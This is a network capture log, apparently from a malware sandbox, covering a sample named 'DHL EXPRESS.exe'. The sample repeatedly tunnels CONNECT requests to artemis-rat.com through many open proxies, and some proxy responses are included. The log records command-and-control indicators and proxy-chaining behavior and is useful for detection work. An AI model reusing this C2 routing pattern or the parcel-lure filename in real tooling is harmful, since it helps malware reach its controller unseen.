Mar 11, 2024 18:36:48.234380960 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.409548998 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.017256975 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
759	192.168.2.8	52228	39.108.229.14	8002	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.234786987 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.570521116 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
760	192.168.2.8	52281	159.65.77.168	8585	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.237632036 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
761	192.168.2.8	50000	163.172.165.36	16379	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.239671946 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.309052944 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.410044909 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:00.409718037 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:02.939352036 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
762	192.168.2.8	51383	103.90.227.244	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.239742994 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:05.212138891 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
763	192.168.2.8	51532	116.106.105.55	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.239824057 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
764	192.168.2.8	52277	221.153.92.39	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.258857012 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
765	192.168.2.8	49967	159.223.71.71	59243	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.260585070 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.309052944 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.410044909 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:00.409718037 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:12.503281116 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
766	192.168.2.8	49990	125.99.106.250	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.264506102 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:48.258593082 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
767	192.168.2.8	51508	192.163.200.82	11720	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.265467882 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.269133091 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.269728899 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:00.269386053 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
768	192.168.2.8	49969	41.128.148.76	1976	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.270694017 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.309140921 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.410058022 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:00.409822941 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:12.503297091 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:24.503223896 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:36.503211975 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:00.503272057 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:48.503274918 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
769	192.168.2.8	52279	211.222.252.187	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.278433084 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
770	192.168.2.8	50105	66.228.140.209	8899	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.278805017 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.202927113 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
771	192.168.2.8	49998	185.200.37.245	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.279344082 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
772	192.168.2.8	52302	43.153.64.66	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.283030987 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
773	192.168.2.8	52303	43.153.64.66	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.284377098 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
774	192.168.2.8	52304	43.153.64.66	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.285142899 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
775	192.168.2.8	52284	72.210.252.137	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.287977934 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
776	192.168.2.8	52274	202.40.181.220	31247	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.288270950 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
777	192.168.2.8	52305	43.153.64.66	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.288414955 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
778	192.168.2.8	51538	92.204.135.37	8623	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.297652006 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
779	192.168.2.8	52275	116.199.168.1	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.302580118 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
780	192.168.2.8	50085	192.99.207.129	44523	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.307451963 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.309144020 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
781	192.168.2.8	51426	115.240.163.31	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.312233925 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.309165001 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.410058022 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:00.409822941 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:12.503349066 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
782	192.168.2.8	51582	72.206.181.105	64935	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.329536915 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
783	192.168.2.8	52283	193.239.58.92	8081	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.348253012 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
784	192.168.2.8	51502	152.32.130.117	18080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.402112961 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
785	192.168.2.8	51668	8.210.8.157	19001	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.404380083 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
786	192.168.2.8	52296	104.20.198.49	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.410453081 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
